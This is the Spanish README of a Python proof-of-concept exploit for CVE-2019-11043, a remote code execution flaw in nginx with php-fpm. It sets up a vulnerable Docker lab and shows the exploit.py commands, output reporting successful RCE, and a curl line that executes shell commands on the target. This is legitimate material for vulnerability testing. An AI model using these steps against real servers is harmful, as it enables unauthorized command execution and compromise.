
(PoC) Versión en Python del exploit CVE-2019-11043 por neex
Una versión en Python del exploit CVE-2019-11043 https://github.com/neex/phuip-fpizdam
Este PoC es aún un borrador, por favor usa el exploit escrito por @neex
Análisis de vulnerabilidad: https://paper.seebug.org/1064/
Simplemente ejecuta docker compose para levantar nginx y php-fpm:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
si deseas leer los logs de php-fpm, puedes ejecutar:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
Si solo quieres comprobar la vulnerabilidad, omitiendo el exploit:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
Puedes intentar matar el proceso php-fpm y restablecer todos los ajustes PHP inyectados con --reset:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265